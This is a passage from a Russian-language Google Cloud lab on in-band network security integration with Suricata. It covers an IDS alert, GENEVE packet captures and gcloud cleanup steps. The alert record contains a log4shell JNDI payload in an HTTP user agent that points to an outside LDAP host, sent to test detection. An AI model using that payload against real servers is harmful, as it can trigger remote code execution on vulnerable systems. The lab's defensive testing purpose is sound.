{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
Кроме того, захват пакетов был бы хорошим способом просмотра и проверки трафика.
Эта команда отфильтрует пакеты GENEVE. Пример команды:
sudo tcpdump -i any -nn udp port 6081
Теперь отправьте пару тестовых сообщений с виртуальной машины-потребителя. Пример выходных данных:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
Обратите внимание, что с помощью tcpdump можно увидеть заголовки GENEVE. Исходный IP-адрес — это IP-адрес шлюза подсети (10.0.0.1), а целевой IP-адрес — это IP-адрес правила пересылки (10.0.0.11 или 10.0.0.12). Инкапсулированные пакеты содержат исходные пакеты — IP-адрес клиента consumer-$zonea (192.168.0.2) или consumer-$zoneb (192.168.0.3) и целевой IP-адрес google.com. Это подтверждает, что пакеты перехватываются и отправляются на стороннее устройство через интеграцию сетевой безопасности.
- Вернитесь в Cloud Shell, выйдя из сеанса SSH.
exit
Поздравляем! Вы успешно развернули и протестировали среду с использованием встроенной интеграции сетевой безопасности (NSI).
5. Уборка
Потребитель
Удалите виртуальные машины потребителей:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Удалить ассоциацию и политику брандмауэра:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Удалить группу профилей безопасности и профиль безопасности:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Удалить группы конечных точек, связанных с конечными точками, и группы конечных точек перехвата:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Удалите Cloud NAT, Cloud Router и зарезервированный IP-адрес.
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
Удалите VPC и подсети.
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Продюсер
Удалить развертывания перехвата:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Удалите группу развертывания перехвата (для успешного выполнения этой команды необходимо завершить удаление всех развертываний перехвата):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
Удалить правила пересылки:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Удалить зарезервированный IP-адрес из правила переадресации:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Удалить серверную службу:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Удалите неуправляемые группы экземпляров:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Удалить проверку состояния здоровья:
gcloud compute health-checks delete nva-hc -q
Удалите виртуальные машины производителя:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Удалите Cloud NAT, Cloud Router и зарезервированный IP-адрес:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Удалить Ассоциацию политики FW:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Удалите политику брандмауэра:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
Удалите VPC и подсеть.
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. Поздравляем!
Поздравляем, вы успешно завершили практическое занятие по интеграции сетевой безопасности в полосу пропускания с использованием Suricata.
Посмотрите демонстрационные видеоролики NSI для конкретных производителей, посвященные внутриполосной модуляции:
Ознакомьтесь с руководствами по развертыванию от конкретных поставщиков, которые могут быть полезны для вашей организации: